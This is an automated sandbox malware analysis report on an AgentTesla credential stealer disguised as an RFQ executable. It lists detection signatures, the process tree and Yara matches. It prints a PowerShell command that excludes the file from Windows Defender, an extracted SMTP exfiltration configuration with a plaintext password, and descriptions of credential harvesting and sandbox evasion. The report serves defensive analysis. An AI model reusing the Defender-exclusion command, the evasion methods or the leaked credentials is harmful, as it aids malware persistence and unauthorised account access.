Edit tour

Windows Analysis Report
RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Overview

General Information

Sample name:	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Analysis ID:	1451544
MD5:	d617ed4ea343a0460e10f0e8a438cfeb
SHA1:	ecc4649d9da615a3f10621e71451fbc4efe066b1
SHA256:	1ab3ec9401912cfc5ff446a0e2ce4e2510799d014e573f6d75cd32f6367818ab
Tags:	exeFormbook
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: RegAsm connects to smtp port

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Disables UAC (registry)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe (PID: 7312 cmdline: "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" MD5: D617ED4EA343A0460E10F0E8A438CFEB)

conhost.exe (PID: 7320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7876 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1724 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

RegAsm.exe (PID: 7924 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 8080 cmdline: C:\Windows\system32\WerFault.exe -u -p 7312 -s 1144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2510069403.0000000002DE2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: RegAsm.exe PID: 7924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7924	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.RegAsm.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
11.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35b0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35b81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35c0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35c9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35d07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35d79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x35e0f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35e9f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35b0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35b81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35c0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35c9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35d07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35d79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x35e0f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35e9f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33d0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33d81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33e0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33e9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33f07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33f79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3400f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3409f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33d0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33d81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33e0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33e9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33f07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33f79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3400f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3409f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x35b0f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x72f57:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35b81:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x72fc9:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35c0b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x73053:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35c9d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x730e5:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35d07:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7314f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35d79:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x731c1:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x35e0f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x73257:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x35e9f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x732e7:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x104b8f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x141fd7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x104c01:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x142049:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x104c8b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1420d3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x104d1d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x142165:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x104d87:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x1421cf:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x104df9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x142241:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x104e8f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x1422d7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x104f1f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x142367:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 16 entries

Sigma Signatures

Networking

Sigma detected: RegAsm connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 185.230.214.164, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 7924, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49702

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe", ParentImage: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, ParentProcessId: 7312, ParentProcessName: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, ProcessId: 7876, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe", ParentImage: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, ParentProcessId: 7312, ParentProcessName: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force, ProcessId: 7876, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}

Multi AV Scanner detection for submitted file

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	ReversingLabs: Detection: 28%
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Virustotal: Detection: 26%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312, type: MEMORYSTR

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb00.0 source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indoC:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER987F.tmp.dmp.14.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb=G source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: symbols\dll\System.pdb.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.PDB89 source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbSystem.Core.ni.dll source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb28t source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: assembly\GAC_MSC:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Xml.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Configuration.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb$B source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2926000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb` source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Xml.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbexe source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD28A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8203000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdbok source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbb* source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: mscorlib.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: mscorlib.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp, WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32bdX source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8275000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbTg source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.pdbSystem.pdbpdbtem.pdbGAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1401521888.000000E50E102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Drawing.pdbh source: WER987F.tmp.dmp.14.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER987F.tmp.dmp.14.dr

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
